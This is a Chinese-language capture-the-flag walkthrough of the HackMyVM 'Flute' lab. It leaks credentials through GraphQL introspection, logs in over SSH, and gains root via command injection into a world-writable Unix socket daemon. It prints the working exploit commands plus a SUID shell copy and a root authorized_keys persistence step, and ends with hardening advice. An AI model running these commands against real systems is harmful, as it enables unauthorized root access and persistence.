跳到主要内容

HackMyVM Flute 通关记录|GraphQL 凭据泄露与 Unix Socket 命令注入提权

靶机链接:Flute


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Flute192.168.1.119靶机 (Alpine Linux + Apollo GraphQL)

攻击流程

点击展开

攻击链摘要

阶段关键操作作用
端口扫描rustscan -a 192.168.1.119 --range 1-65535 联动 nmap -sV -sC -O发现 22 (SSH), 8888 (GraphQL API)
信息泄露GraphQL Introspection 获取 Schema + users 查询发现 User 类型含 username/password 字段
凭据获取query { users { username password } }获得 hamelin:comewithmerats
SSH 初始访问sshpass + hamelin 凭据登录获取 user flag
本地侦察进程列表枚举 ps aux发现 root 进程 ratd.py
提权分析审计 /opt/ratd/ratd.py 源码Unix socket 777 权限 + os.system() 无过滤
Root 执行echo "RUN cmd" | nc -U /tmp/ratd.sock以 root 身份执行任意命令
Flag 获取重定向输出到 /tmp/ 读取获取 root flag

0x02 侦察与信息收集

1. Rustscan + Nmap 全端口扫描

优先使用 RustScan 进行快速端口发现,再联动 Nmap 做服务识别和脚本扫描:

rustscan -a 192.168.1.119 --range 1-65535 -t 4000 -- -sV -sC --version-intensity 5 -O -oN nmap-initial.txt

RustScan 阶段输出:

Open 192.168.1.119:22
Open 192.168.1.119:8888

Nmap 详细扫描结果:

Nmap scan report for flute.lan (192.168.1.119)
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-07-05 22:58:33 CST for 13s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
8888/tcp open sun-answerbook? syn-ack ttl 64
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Origin: *
| Content-Type: text/html; charset=utf-8
| Content-Length: 18
| ETag: W/"12-7JEJwpG8g89ii7CR/6hhfN27Q+k"
| Date: Sun, 05 Jul 2026 14:58:40 GMT
| Connection: close
| GET query missing.
| HTTPOptions:
| HTTP/1.1 204 No Content
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
| Vary: Access-Control-Request-Headers
| Content-Length: 0
MAC Address: 08:00:27:50:C6:88 (Oracle VirtualBox virtual NIC)
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop

开放端口汇总:

端口服务版本
22/tcpSSHOpenSSH 10.0
8888/tcpHTTP API未知 (指纹匹配 sun-answerbook)

2. 8888 端口指纹分析

Nmap 未能识别 8888 端口的服务,但从返回的 HTTP 头可提取关键特征:

curl -s -I http://192.168.1.119:8888/
HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Vary: Access-Control-Request-Headers
# GET 请求返回内容
curl -s http://192.168.1.119:8888/
GET query missing.

特征分析:

特征判断
Access-Control-Allow-Origin: *CORS 全开,典型开发/调试配置
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETERESTful / GraphQL 端点
ETag 头 + W/ 前缀Express.js 弱 ETag 格式
GET query missing.需要一个名为 query 的参数——GraphQL 的典型入口

渗透经验: GET query missing. 这个错误信息是强特征,暗示后端期望一个名为 query 的 GET/POST 参数。结合 REST 动词全开 + CORS 全开,高度怀疑是 GraphQL 端点


0x03 GraphQL 信息泄露

1. 确认 GraphQL 端点

尝试向 /graphql 路径发送带 query 参数的请求:

curl -s "http://192.168.1.119:8888/?test=1"
{
"errors": [{
"message": "GraphQL operations must contain a non-empty `query` or a `persistedQuery` extension.",
"extensions": {
"code": "INTERNAL_SERVER_ERROR",
"exception": {
"stacktrace": [
"GraphQLError: GraphQL operations must contain a non-empty `query` ...",
" at processGraphQLRequest (/home/hamelin/node_modules/apollo-server-core/dist/requestPipeline.js:73:40)",
" at async processHTTPRequest (/home/hamelin/node_modules/apollo-server-core/dist/runHttpQuery.js:222:30)"
]
}
}
}]
}

✅ 确认是 Apollo GraphQL Server。更关键的是,错误堆栈泄露了服务端的绝对路径

  • 用户目录:/home/hamelin/
  • 框架版本:apollo-server-core(Apollo Server v3.x)

渗透经验: 生产环境绝不应向客户端返回完整错误堆栈。这里不仅暴露了 GraphQL 框架类型和版本,还泄露了服务器用户名 (hamelin) 和项目路径。这些信息对后续攻击至关重要。

2. GraphQL Introspection 获取 Schema

Apollo Server 默认在开发模式下开启 Introspection。使用标准 Introspection 查询获取完整 Schema:

curl -s -X POST http://192.168.1.119:8888/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name fields { name description args { name description type { name kind ofType { name kind } } defaultValue } type { name kind ofType { name kind } } } } mutationType { name } types { name kind description fields { name } } } }"}' | jq '.data.__schema.queryType'
{
"name": "Query",
"fields": [
{
"name": "users",
"description": null,
"args": [],
"type": {
"name": null,
"kind": "LIST",
"ofType": {
"name": "User",
"kind": "OBJECT"
}
}
},
{
"name": "user",
"description": null,
"args": [
{
"name": "username",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "String",
"kind": "SCALAR"
}
},
"defaultValue": null
}
],
"type": {
"name": "User",
"kind": "OBJECT",
"ofType": null
}
}
]
}

完整 Schema 还原:

type User {
username: String
password: String # ← 敏感字段直接暴露!
}

type Query {
users: [User] # 返回所有用户
user(username: String!): User # 按用户名查询
}

关键发现:

发现风险
User 类型包含 password 字段密码作为可查询字段暴露
users 查询无参数、无鉴权任何人可获取全部用户凭据
mutationType 为 null无变更操作,但查询已足够危险
Introspection 开启攻击者可完整了解数据模型

3. 获取凭据

curl -s -X POST http://192.168.1.119:8888/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { users { username password } }"}' | jq .
{
"data": {
"users": [
{
"username": "admin",
"password": "imtherealadmin"
},
{
"username": "hamelin",
"password": "comewithmerats"
}
]
}
}
用户名密码备注
adminimtherealadmin管理员账号
hamelincomewithmerats与系统用户名一致,"Come with me, rats!" —— Pied Piper 经典台词

趣闻: comewithmerats 这个密码源自《哈默林的花衣吹笛人》童话中吹笛人引诱老鼠的台词 "Come with me, rats!"。在渗透测试中,靶机主题往往暗示了攻击路径——这里的 "rats" 正对应后面的 ratd (Rat Daemon)。


0x04 初始访问 (SSH)

1. SSH 登录

sshpass -p 'comewithmerats' ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
hamelin@192.168.1.119
# 登录后立即收集信息
id && whoami && ls -la
uid=1000(hamelin) gid=1000(hamelin) groups=1000(hamelin)
hamelin
total 108
drwxr-sr-x 4 hamelin hamelin 4096 Mar 30 09:40 .
drwxr-xr-x 3 root root 4096 Mar 30 09:36 ..
lrwxrwxrwx 1 hamelin hamelin 9 Mar 30 09:38 .ash_history -> /dev/null
-rw------- 1 hamelin hamelin 9 Mar 30 09:41 .node_repl_history
drwxr-sr-x 4 hamelin hamelin 4096 Mar 30 09:38 .npm
-rw-r--r-- 1 hamelin hamelin 680 Mar 30 09:39 index.js ← 源码
drwxr-sr-x 126 hamelin hamelin 4096 Mar 30 09:39 node_modules
-rw-r--r-- 1 hamelin hamelin 77592 Mar 30 09:39 package-lock.json
-rw-r--r-- 1 hamelin hamelin 326 Mar 30 09:39 package.json
-rw------- 1 hamelin hamelin 28 Mar 30 09:38 user.txt ← FLAG!

2. 获取 User Flag

cat /home/hamelin/user.txt
HMVuser9f4ndbaz4chc6j04b3va

User Flag: HMVuser9f4ndbaz4chc6j04b3va

3. 审计 GraphQL 源码

cat /home/hamelin/index.js
const { ApolloServer, gql } = require('apollo-server');

const typeDefs = gql`
type User {
username: String
password: String
}

type Query {
users: [User]
user(username: String!): User
}
`;

const users = [
{ username: "admin", password: "imtherealadmin" },
{ username: "hamelin", password: "comewithmerats" }
];

const resolvers = {
Query: {
users: () => users,
user: (_, { username }) => users.find(u => u.username === username),
}
};

const server = new ApolloServer({
typeDefs,
resolvers,
introspection: true, // ← 漏洞 #1: 生产环境启用 Introspection
playground: true // ← 漏洞 #2: 生产环境启用 Playground
});

server.listen({ port: 8888 }).then(({ url }) => {
console.log(`Running at ${url}`);
});

源码级漏洞确认:

问题代码影响
硬编码凭据const users = [{...}, {...}] 直接写在源码中任何人可审计代码获取密码
Introspection 开启introspection: true攻击者获取完整 Schema
Playground 开启playground: trueGraphQL IDE 对外暴露
无认证resolvers 无任何鉴权中间件任何人可查询 users

0x05 提权侦察

1. 系统信息收集

# 进程列表
ps aux

关键进程:

PID USER COMMAND
2173 hamelin /usr/bin/node /home/hamelin/index.js
2176 root /usr/bin/python3 /opt/ratd/ratd.py ← root 进程!
2171 root /usr/sbin/crond -c /etc/crontabs -f

立刻注意到 ratd.pyroot 身份运行。

2. 常规提权向量检查

# SUID 二进制
find / -perm -4000 -type f 2>/dev/null
# → /bin/bbsuid

# sudo 权限
sudo -l
# → sh: sudo: not found (Alpine 默认无 sudo)

# Cron 任务
cat /etc/crontab && ls -la /etc/cron.*
# → 无自定义 cron 任务

# Capabilities
getcap -r / 2>/dev/null
# → 无特殊 capabilities
向量发现可利用性
SUID/bin/bbsuid需进一步分析
Sudo不存在
Cron无自定义任务
Capabilities
root 进程ratd.py高优先级

3. bbsuid 分析(死胡同)

ls -la /bin/bbsuid
---s--x--x 1 root root 14224 Nov 21 2025 /bin/bbsuid

SUID 位已设置(s),但作为 hamelin 用户无法读取文件内容。通过 strings 分析(后以 root 提取):

/bin/busybox
--install
Only root can install symlinks
/bin/mount
/bin/umount
/bin/su
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/traceroute
/usr/bin/traceroute6
/usr/bin/vlock
%s is not a valid applet

分析结论: bbsuid 是 BusyBox symlink 安装器,内含白名单 applet。关键代码逻辑:

// 伪代码还原
if (getuid() != 0) {
errx(1, "Only root can install symlinks");
}
// 验证 applet 名称在白名单中
// 创建指向 /bin/busybox 的 symlink

使用 getuid() 而非 geteuid(),因此即使有 SUID 位(effective uid=0),真实 UID 仍为 1000(hamelin),检查不通过。此路不通。

渗透经验: SUID 二进制不等于自动提权。本题的 bbsuid 就是典型的"看起来有戏、实际利用不了"的干扰项。正确的提权向量是那个以 root 运行的 Python 进程。


0x06 Unix Socket 命令注入提权

1. ratd.py 源码审计

cat /opt/ratd/ratd.py
import socket
import os

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
socket_path = "/tmp/ratd.sock"

if os.path.exists(socket_path):
os.remove(socket_path)

sock.bind(socket_path)
os.chmod(socket_path, 0o777) # ← 漏洞 #1: 任何用户可读写
sock.listen(1)

print("Rat daemon running...")

while True:
conn, _ = sock.accept()
data = conn.recv(1024).decode()

if data.startswith("RUN "):
cmd = data[4:]
os.system(cmd) # ← 漏洞 #2: 直接执行,无任何过滤
conn.send(b"OK\n")
else:
conn.send(b"Unknown command\n")

conn.close()

完整漏洞分析:

漏洞代码严重度
权限过度开放os.chmod(socket_path, 0o777)🔴 严重
无认证机制任何连接即可发送命令🔴 严重
命令注入os.system(cmd) 无过滤🔴 严重
无审计日志无任何记录🟡 中等

2. 利用原理

ratd.py 的运行上下文:

root (PID 2176)

└── /usr/bin/python3 /opt/ratd/ratd.py

├── 监听 /tmp/ratd.sock (mode: srwxrwxrwx)
├── 协议: 文本, \n 分隔
├── 命令: RUN <shell_command>
└── 执行: os.system() → /bin/sh -c <cmd>

攻击者 (hamelin) 只需:

echo "RUN <command>" | nc -U /tmp/ratd.sock

即可让 root 进程执行任意 shell 命令。

3. 基础验证

# 以 hamelin 身份连接 ratd socket
echo "RUN id" | nc -U /tmp/ratd.sock
OK

返回 OK,但看不到命令输出。这是因为 os.system() 将命令输出发送到子进程的 stdout,不会回传给 socket 连接。

4. 输出重定向技巧

由于 os.system() 不返回 stdout,需要将输出重定向到可读文件:

# 执行命令并重定向输出到 /tmp/
echo "RUN id > /tmp/out.txt 2>&1" | nc -U /tmp/ratd.sock
sleep 1
cat /tmp/out.txt
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

确认以 root 身份执行命令。

5. 获取 Root Flag

echo "RUN cat /root/root.txt > /tmp/rootflag.txt 2>&1" | nc -U /tmp/ratd.sock
sleep 1
cat /tmp/rootflag.txt
HMVrootoepsamqu0liphzzsc7x9

Root Flag: HMVrootoepsamqu0liphzzsc7x9

6. 获取交互式 Root Shell(可选)

虽然已经拿到 flag,但在实战中获取交互式 shell 更便于后续操作:

# 方法 1: 复制 shell 并设置 SUID
echo "RUN cp /bin/busybox /tmp/bs && chmod 4777 /tmp/bs" | nc -U /tmp/ratd.sock
sleep 1
/tmp/bs sh -c 'id; cat /root/root.txt'
# 注意:Alpine 使用 BusyBox,需用 busybox 的 applet 调用方式
# 方法 2: 写入 SSH authorized_keys
echo "RUN mkdir -p /root/.ssh && echo '<your_public_key>' >> /root/.ssh/authorized_keys" | nc -U /tmp/ratd.sock

注意: Alpine Linux 使用 BusyBox 提供 /bin/sh,行为与 GNU bash 略有差异。直接复制 /bin/sh 后以 -c 参数调用可能遇到 "applet not found" 错误,需使用 busybox sh 方式调用。

7. 验证 Root 目录结构

echo "RUN ls -la /root/ > /tmp/rootdir.txt" | nc -U /tmp/ratd.sock
cat /tmp/rootdir.txt
total 12
drwx------ 2 root root 4096 Mar 30 09:38 .
drwxr-xr-x 21 root root 4096 Mar 30 09:35 ..
lrwxrwxrwx 1 root root 9 Mar 30 09:37 .ash_history -> /dev/null
-rw------- 1 root root 28 Mar 30 09:38 root.txt

0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/hamelin/user.txt
  • 内容: HMVuser9f4ndbaz4chc6j04b3va

Root Flag

  • 路径: /root/root.txt
  • 内容: HMVrootoepsamqu0liphzzsc7x9

凭据汇总

类型用户 / 目标来源
GraphQL / SSH 密码adminimtherealadminusers { username password } 查询泄露
SSH 密码hamelincomewithmeratsGraphQL users 查询泄露
Root 命令执行/tmp/ratd.sockRUN <command>root 进程 ratd.py 暴露 777 Unix Socket

复盘总结

Flute 是一台入门级靶机,攻击链简洁清晰,核心考察两点:GraphQL 安全配置Unix Socket 权限模型

攻击路径回顾

端口扫描 → GraphQL Introspection → 凭据泄露 → SSH 登录 → 进程枚举
→ ratd.py 审计 → Unix Socket 命令注入 → Root Flag

关键知识点

  1. GraphQL Introspection 在生产环境必须关闭。 introspection: true + playground: true 是典型的开发配置残留。Nmap 无法直接识别 GraphQL 服务,但 GET query missing. 这个错误信息是极强的人工指纹。

  2. 错误堆栈信息泄露。 Apollo Server 在出错时返回了完整的服务端调用栈,暴露了用户名 (hamelin)、框架版本 (apollo-server-core)、绝对路径 (/home/hamelin/) 等关键信息。生产环境应将错误详情限制为仅内部可见。

  3. Schema 设计决定安全边界。 User 类型直接包含 password 字段说明后端在安全建模阶段就出错了。敏感字段不应出现在可查询的 GraphQL 类型中,密码应仅在认证 resolver 内部使用,永不对外暴露。

  4. 硬编码凭据。 本靶机凭据写在 index.js 源码中(而非环境变量),但由于 GraphQL 已直接返回密码,源码审计这一步反而成为冗余。多层漏洞叠加时,每一层都不应该存在。

  5. Unix Socket 不是安全的替代品。 很多开发者认为 Unix Socket 比 TCP Socket 更安全,但实际上是两回事。os.chmod(socket_path, 0o777) 使任何本地用户可连接,加上无认证 + os.system() 无过滤,构成了本地提权的完整链条。

  6. SUID 二进制不等于提权。 bbsuid 虽然设置了 SUID 位,但使用 getuid() 而非 geteuid() 做权限检查,是有效的防御。不是每个 SUID 二进制都能利用——这也提醒我们,应当在枚举后快速判断,避免浪费大量时间在不可利用的向量上。

防守视角

  • GraphQL 生产环境安全清单:
    • introspection: false —— 禁用 Schema 自省
    • playground: false —— 禁用 GraphQL Playground
    • 禁用详细错误堆栈 (debug: false, 自定义 formatError)
    • 敏感字段不应出现在 Schema 中,或通过 resolver 级鉴权保护
  • 凭据管理: 凭据不应硬编码在源码中,应使用环境变量或密钥管理服务
  • Unix Socket 安全加固:
    • Socket 文件权限应限制为最小必要范围(如 0o660 + 特定组)
    • 服务端必须实现认证机制(token、挑战-响应等)
    • 避免将用户输入直接传递给 os.system()subprocess.call(shell=True)
    • 如需执行命令,使用白名单 + 参数化调用(subprocess.run([...])

一句话总结

如果只看一句话总结,本题的本质是:

GraphQL Introspection 凭据泄露 + Unix Socket 权限配置不当命令注入提权